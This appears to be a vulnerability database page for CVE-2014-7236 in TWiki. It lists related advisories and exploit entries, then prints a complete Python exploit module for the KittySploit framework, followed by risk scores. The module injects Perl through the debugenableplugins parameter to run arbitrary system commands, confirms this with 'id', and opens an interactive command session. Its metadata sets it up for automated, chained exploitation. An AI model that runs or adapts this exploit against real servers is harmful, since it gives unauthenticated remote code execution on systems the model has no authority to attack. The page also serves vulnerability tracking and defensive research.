TWiki debugenableplugins RCE (CVE-2014-7236)
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Exploit for Injection in Twiki | 12 Oct 201421:28 | – | githubexploit | |
| Twiki Perl 4.x, 5.x, 6.x Upload Bypass / Code Execution Vulnerabilities | 10 Oct 201400:00 | – | zdt | |
| TWiki Debugenableplugins Remote Code Execution Exploit | 19 Mar 201500:00 | – | zdt | |
| twiki -- remote Perl code execution | 9 Oct 201400:00 | – | freebsd | |
| CVE-2014-7236 | 19 Mar 201500:00 | – | circl | |
| Twiki Unauthenticated Remote Code Execution (CVE-2014-7236) | 3 Dec 201400:00 | – | checkpoint_advisories | |
| CVE-2014-7236 | 17 Feb 202021:14 | – | cve | |
| CVE-2014-7236 | 17 Feb 202021:14 | – | cvelist | |
| TWiki debugenableplugins RCE | 1 Sep 201500:00 | – | dsquare | |
| TWiki Debugenableplugins - Remote Code Execution (Metasploit) | 19 Mar 201500:00 | – | exploitdb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TWiki debugenableplugins Perl RCE (CVE-2014-7236) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'TWiki debugenableplugins RCE (CVE-2014-7236)',
'description': (
'Exploits CVE-2014-7236 Perl injection via debugenableplugins on '
'/view/Main/WebHome. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-7236'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-7236',
],
'tags': ['twiki', 'perl', 'rce', 'unauth', 'cve-2014-7236'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'debugenableplugins Perl system'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2014_7236_detect'],
},
},
}
base_path = OptString('', 'TWiki base path', False, advanced=True)
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['', '/twiki', '/wiki']
def _inj(self, cmd: str) -> str:
safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
return (
'BackupRestorePlugin;print("Content-Type:text/html\\r\\n\\r\\n");'
f'print(system("{safe}"));exit'
)
def execute(self, cmd: str) -> str:
q = '?debugenableplugins=' + quote(self._inj(cmd), safe='')
bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
for base in bases:
if base is None:
continue
path = f'{base}/view/Main/WebHome{q}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r:
self._hit_base = base
return r.text or ''
return ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2014-7236 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'debugenableplugins did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
8.4High risk
Vulners AI Score8.4
CVSS 26.4
CVSS 3.19.1
EPSS0.55637